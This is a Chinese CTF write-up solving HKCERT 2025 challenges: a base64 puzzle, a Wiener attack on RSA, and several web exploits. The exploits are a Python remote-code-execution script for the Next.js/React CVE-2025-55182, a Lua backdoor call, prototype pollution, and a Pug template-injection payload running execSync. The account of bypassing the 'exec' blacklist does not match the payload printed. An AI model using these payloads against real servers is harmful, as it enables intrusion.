HKCERT CTF 2025 部分wp(简单部分)
打了一次紧张刺激的ctf,也是解出来了一些基础题。
misc
Easy_Base
这一道题很简单,但是难倒了大多数AI(别问我怎么知道的),但是只要脑洞大一点,就很容易发现答案

看题目,是一道简单的base64,提示,flag格式为flag{xx_xx}。
看附件,只有一串文字
Zg====AbYQ====wZew====ARZQ====gbaQ====QcdQ====QZdQ====gYaQ====QZcg====QadA====wXcw====QYbg====wZdQ====Qacw====QYZw====AbYQ====AZaQ====wbcg====QZZw====Qacw====Qf
有====,但题目提示base64,所以可以把等于去掉然后base64跑一下。
去掉以后的文本
ZgAbYQwZewARZQgbaQQcdQQZdQgYaQQZcgQadAwXcwQYbgwZdQQacwQYZwAbYQAZaQwbcgQZZwQacwQf

解码以后,只有fa{eiuuirtsnusgairgs,其他都是空。
正常的AI已经在想是不是加密,跑好久了。但是如果反过,把flag分别换成base64看一看

诶,有点眼熟,这我可都见过

在哪呢,Zg====AbYQ====wZew==这不是么,眼熟不,再变一下Zg==bA==YQ==Zw==ew==这不就是么,四个不变,四个倒叙。好了,也懒得让AI打脚本了,直接手搓文本解开吧
于是手搓了flag
flag{Deniqueubierit_sanguisagladioregis}
Questionnaire
比赛没时间了,看看misc有什么新题,诶,这是什么?调查问卷!!!!

送分来了,那可太好了,收下了
![]()
ctf2025{"EVALUATION_COMPLETED":"THANKS"}
crypto
Try E
这边放一下附件源码
from Crypto.Util.number import getPrime, bytes_to_long
from secret import flag
def get_huge_RSA():
p = getPrime(1024)
q = getPrime(1024)
N = p * q
phi = (p - 1) * (q - 1)
while True:
d = getPrime(256)
e = pow(d, -1, phi)
if e.bit_length() == N.bit_length():
break
return N,e
if __name__ == '__main__':
N, e = get_huge_RSA()
m = bytes_to_long(flag)
c = pow(m, e, N)
print(f'N = {hex(N)}')
print(f'e = {hex(e)}')
print(f'c = {hex(c)}')
'''
N = 0x662854e5ee8b1aa73eea7c897f0f1bd7cace486dea68fb4e9b1affe86ddae225221e9941b7e90b7dd87d57988fc3428f51433a5c2a6e7ef9cbe85aace0925914347ca1d403ea58e2f36435b67648f8caf0abd29c9c24d3caeadab2c41522deda75c19584ec917fa683ff16c932f334db3145a8367c3dc6bc3b918ff3f69f8bfb16c45b4caab1e8ecef24e8e923e984e921115d9fb997a638c8e25d74d592f279359e7147745a7a8443603287120d1a186f30d5a41ce26545f85844721b788564e306791ae39c3be23aeeab010e79302afab4b3e9ab18cb2769382ff8fcbc0514f51861ec6db247f0a0343b7cc6d44299878f7006c118df10de6937c11e3aed7d
e = 0x58a2680eae331e41397475dd699a75f242897e4ed4048338137eb40100cc406b651c4518f4057ad8419cd6a82605113dd5801cd9f022f8bda424b02db5feb333d96636026c3ffc4cab74f7426aa14fb1139663a4f6248dd8e5c7075fcdf3e520c425697775cfb65d33ccca5ffe08d944753b1e9da2dbf96713ece5436deb6dbc843dcd5c497eda9919e055a32c76798770535c6a91ae00b971f35be1ab9e48dd4c701026e0744826001f6fb30e4f68d6e4981aa5a5bbcc995a9e46a4d9b1658348d0fb3b1314fa091251ea1b7379a854a3860fcba2ace323dca8157008d80d6035fd6c880404495f933bf4b4ae829b35823450a921f64b9cf63ae861b3fc4ef7
c = 0x47d2e297294af43a9a02d465f7f5272cab0af2445cbc6022def1098e075dcfb3a7830f09df6112a9fa55b34ed4d0baebad54ea2cbd32e4367cbe7a138409a0ef4c36d837ea7817ec3624fca3a19c1377eaf08e4a519de73cb2c5e99ec8f3998e04d4c3bc44a6f1eb389111bf7c72c68bf1dd743e656467d1ecdd314b37313963758634b83ea96724b1872367a922788f2c8a046c76ccc57e86686bedd7ac431f92b9e2f1fae79701fa0d14d2a0119860c8908336c6caec87b9733f626166373631e1e7e9ba6be92d712e84e821e0e4dc105d460c6640498aefaeb5146d0f57b8e57c3e24bc13f3e79082172c1690428eb49bc6035f1e60f6a579129a2da00c60
'''提示了RAS加密,基本原理不说了,直接贴脚本
from Crypto.Util.number import long_to_bytes
import gmpy2
# 给定数据
N = 0x662854e5ee8b1aa73eea7c897f0f1bd7cace486dea68fb4e9b1affe86ddae225221e9941b7e90b7dd87d57988fc3428f51433a5c2a6e7ef9cbe85aace0925914347ca1d403ea58e2f36435b67648f8caf0abd29c9c24d3caeadab2c41522deda75c19584ec917fa683ff16c932f334db3145a8367c3dc6bc3b918ff3f69f8bfb16c45b4caab1e8ecef24e8e923e984e921115d9fb997a638c8e25d74d592f279359e7147745a7a8443603287120d1a186f30d5a41ce26545f85844721b788564e306791ae39c3be23aeeab010e79302afab4b3e9ab18cb2769382ff8fcbc0514f51861ec6db247f0a0343b7cc6d44299878f7006c118df10de6937c11e3aed7d
e = 0x58a2680eae331e41397475dd699a75f242897e4ed4048338137eb40100cc406b651c4518f4057ad8419cd6a82605113dd5801cd9f022f8bda424b02db5feb333d96636026c3ffc4cab74f7426aa14fb1139663a4f6248dd8e5c7075fcdf3e520c425697775cfb65d33ccca5ffe08d944753b1e9da2dbf96713ece5436deb6dbc843dcd5c497eda9919e055a32c76798770535c6a91ae00b971f35be1ab9e48dd4c701026e0744826001f6fb30e4f68d6e4981aa5a5bbcc995a9e46a4d9b1658348d0fb3b1314fa091251ea1b7379a854a3860fcba2ace323dca8157008d80d6035fd6c880404495f933bf4b4ae829b35823450a921f64b9cf63ae861b3fc4ef7
c = 0x47d2e297294af43a9a02d465f7f5272cab0af2445cbc6022def1098e075dcfb3a7830f09df6112a9fa55b34ed4d0baebad54ea2cbd32e4367cbe7a138409a0ef4c36d837ea7817ec3624fca3a19c1377eaf08e4a519de73cb2c5e99ec8f3998e04d4c3bc44a6f1eb389111bf7c72c68bf1dd743e656467d1ecdd314b37313963758634b83ea96724b1872367a922788f2c8a046c76ccc57e86686bedd7ac431f92b9e2f1fae79701fa0d14d2a0119860c8908336c6caec87b9733f626166373631e1e7e9ba6be92d712e84e821e0e4dc105d460c6640498aefaeb5146d0f57b8e57c3e24bc13f3e79082172c1690428eb49bc6035f1e60f6a579129a2da00c60
# 维纳攻击实现
def wiener_attack(e, n):
# 连分数展开
def continued_fractions(e, n):
cf = []
while n:
q = e // n
cf.append(q)
e, n = n, e - q * n
return cf
# 收敛分数
def convergents(cf):
convergents = []
for i in range(len(cf)):
num = cf[i]
den = 1
for j in range(i - 1, -1, -1):
num, den = cf[j] * num + den, num
convergents.append((num, den))
return convergents
cf = continued_fractions(e, n)
conv = convergents(cf)
for k, d in conv:
if k == 0:
continue
# 检查是否满足条件
if (e * d - 1) % k != 0:
continue
phi = (e * d - 1) // k
# 尝试解二次方程 x^2 - (n - phi + 1)x + n = 0
b = n - phi + 1
discriminant = b * b - 4 * n
if discriminant < 0:
continue
sqrt_disc = gmpy2.isqrt(discriminant)
if sqrt_disc * sqrt_disc != discriminant:
continue
p = (b + sqrt_disc) // 2
q = (b - sqrt_disc) // 2
if p * q == n:
return d, p, q
return Noneflag{Y0u_kNoW_C0n7lNu3d_Fr4c71on!}
web
react
题目:

诶,next.js 15,这不最近杀疯的CVE-2025-55182么
受影响的React版本:
React 19.0.0
React 19.1.0
React 19.1.1
React 19.2.0
受影响的包:
react-server-dom-parcel react-server-dom-turbopack
react-server-dom-webpack
受影响的Next.js版本:
使用React Server Components和App Router的应用程序在以下版本中受到影响:
Next.js 15.x系列(所有版本)
Next.js 16.x系列(所有版本)
Next.js 14.3.0-canary.77及后续canary版本
注:只有同时使用React Server Components和App Router的Next.js应用程序才会受到影响。 网上搜一搜这个漏洞,找一找怎么复现,进行一下漏洞的复现。这边贴一个参考脚本
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://web-1e6f78123d.challenge.xctf.org.cn/"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "cat /flag"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)直接更改URL就能得解
不得不说next.js是真火,给题都冲成签到题了

easy-lua
给了一个能运行LUA代码的网站,网上能搜到一些关于溢出的漏洞
这边先用迭代器看了看LUA的函数
--探测可用函数
for k,v in pairs(_G) do print(k) end_G是一个全局环境表,可以查看Lua的全局变量和函数,
pairs()是一个迭代器函数,用于遍历表中的所有键值对
pairs(_G) 会遍历全局环境表中的每一个键(变量名)和对应的值
对于每个键值对,k 是变量名(字符串),v 是变量值(可能是函数、表、字符串等)
输出结果是这样的
package G VERSION GOPHERLUA_VERSION loadstring pcall setfenv tonumber unpack getfenv rawequal setmetatable collectgarbage getmetatable next print select _printregs module newproxy assert error rawget rawset tostring type xpcall require dofile load loadfile ipairs pairs table string math S3cr3t0sEx3cFunc getFileContent getFileList
这里面最后三个都有一点点可疑,好像可以利用,
-- 测试 S3cr3t0sEx3cFunc(可能是后门函数)
if S3cr3t0sEx3cFunc then
print(type(S3cr3t0sEx3cFunc))
-- 尝试调用
local result = S3cr3t0sEx3cFunc("id")
print("Result:", result)
end发现出现了回显,RCE,ls,cat,成功获得flag
ezjs
给了一个附件,发现是题目源码,所以这一题应该是代码审计
package.json
{
"name": "shabby_website",
"version": "1.0.0",
"description": "",
"main": "app.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "Rieß",
"license": "ISC",
"dependencies": {
"body-parser": "^1.20.2",
"cookie-parser": "^1.4.6",
"express": "^4.18.1",
"express-session": "^1.17.3",
"json5": "2.2.1",
"string-random": "^0.1.3",
"pug": "^3.0.2"
}
}交代了一些版本信息,但是感觉没有什么大用,
app.js
const expres=require('express')
const JSON5 = require('json5');
const bodyParser = require('body-parser')
const pugjs=require('pug')
const session = require('express-session')
const rand = require('string-random')
var cookieParser = require('cookie-parser');
const SECRET = rand(32, '0123456789abcdef')
const port=80
const app=expres()
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json())
app.use(session({
secret: SECRET,
resave: false,
saveUninitialized: true,
cookie: { maxAge: 3600 * 1000 }
}));
app.use(cookieParser());
function waf(obj, arr){
let verify = true;
Object.keys(obj).forEach((key) => {
• if (arr.indexOf(key) > -1) {
• verify = false;
• }
});
return verify;
}
app.get('/',(req,res)=>{
res.send('hey bro!')
})
app.post('/login',(req,res)=>{
let userinfo=JSON.stringify(req.body)
const user = JSON5.parse(userinfo)
if (waf(user, ['admin'])) {
• req.session.user = user
• if(req. session.user.admin==true){
• req.session.user='admin'
• res.send('hello,admin')
• }
• else{
• res.send('hello,guest')
• }
}
else {
• res.send('login error!')
}
})
app.post('/render',(req,res)=>{
if (req.session.user === 'admin'){
• var word = req.body.word
•
• const blacklist = ['require', 'exec']
• let isBlocked = false
•
• if (word) {
• for (let keyword of blacklist) {
• if (word.toLowerCase().includes(keyword.toLowerCase())) {
• isBlocked = true
• break
• }
• }
• }
•
• if (isBlocked) {
• res.send('Blocked: dangerous keywords detected!')
• } else {
• var hello='welcome '+ word
• res.send (pugjs.render(hello))
• }
}
else{
• res.send('you are not admin')
}
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})这个给的信息很多,首先是路由,get访问的/路由,post访问的/login路由和/render路由,
在/render路由路由中
app.post('/render',(req,res)=>{
if (req.session.user === 'admin'){ // 检查session中是否为管理员
• var word = req.body.word // 获取请求体中的word参数
•
• const blacklist = ['require', 'exec'] // 定义关键字黑名单
• let isBlocked = false // 初始化是否被拦截的标志
•
• if (word) { // 检查输入的单词是否存在
• for (let keyword of blacklist) { // 遍历黑名单中的每个关键词
• if (word.toLowerCase().includes(keyword.toLowerCase())) { // 将输入的单词和黑名单关键词都转换为小写进行比较
• isBlocked = true // 如果发现匹配的关键词,设置isBlocked为true并跳出循环
• break
• }
• }
• }
•
• if (isBlocked) { // 根据isBlocked的值决定返回不同的响应
• res.send('Blocked: dangerous keywords detected!') // 如果检测到危险关键词,返回阻止信息
• } else {
• var hello='welcome '+ word // 如果没有检测到危险关键词,渲染欢迎信息
• res.send (pugjs.render(hello))
• }
}
else{ // 检查用户是否为管理员
• res.send('you are not admin')
}
})先要检查是不是管理员,admin,然后进行一个过滤,只过滤了'require', 'exec',然后就能渲染,那就能模板注入了,那么首先的问题是我要让自己变成admin
这边能利用一下/login路由
app.post('/login',(req,res)=>{ // 定义POST路由,处理/login路径的请求
let userinfo=JSON.stringify(req.body) // 将请求体转换为JSON字符串
const user = JSON5.parse(userinfo) // 使用JSON5解析用户信息
if (waf(user, ['admin'])) { // 通过Web应用防火墙(WAF)验证用户
• req.session.user = user // 将用户信息存储到session中
• if(req. session.user.admin==true){ // 检查用户是否为管理员
• req.session.user='admin' // 设置session为管理员
• res.send('hello,admin') // 返回管理员欢迎信息
• }
• else{
• res.send('hello,guest') // 返回普通用户欢迎信息
• }
}
else {
• res.send('login error!') // 登录失败返回错误信息
}
})绕过waf检测就能蹭网
这边用了注释绕过
// 原型链污染
{
"__proto__": {
"admin": true
}
}成功成为管理员,这样我就能拿着我的cookie去渲染了
渲染也是用的注释进行绕过黑名单筛选。
{
"word": "#{global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt')}"
}成功进行绕过获得flag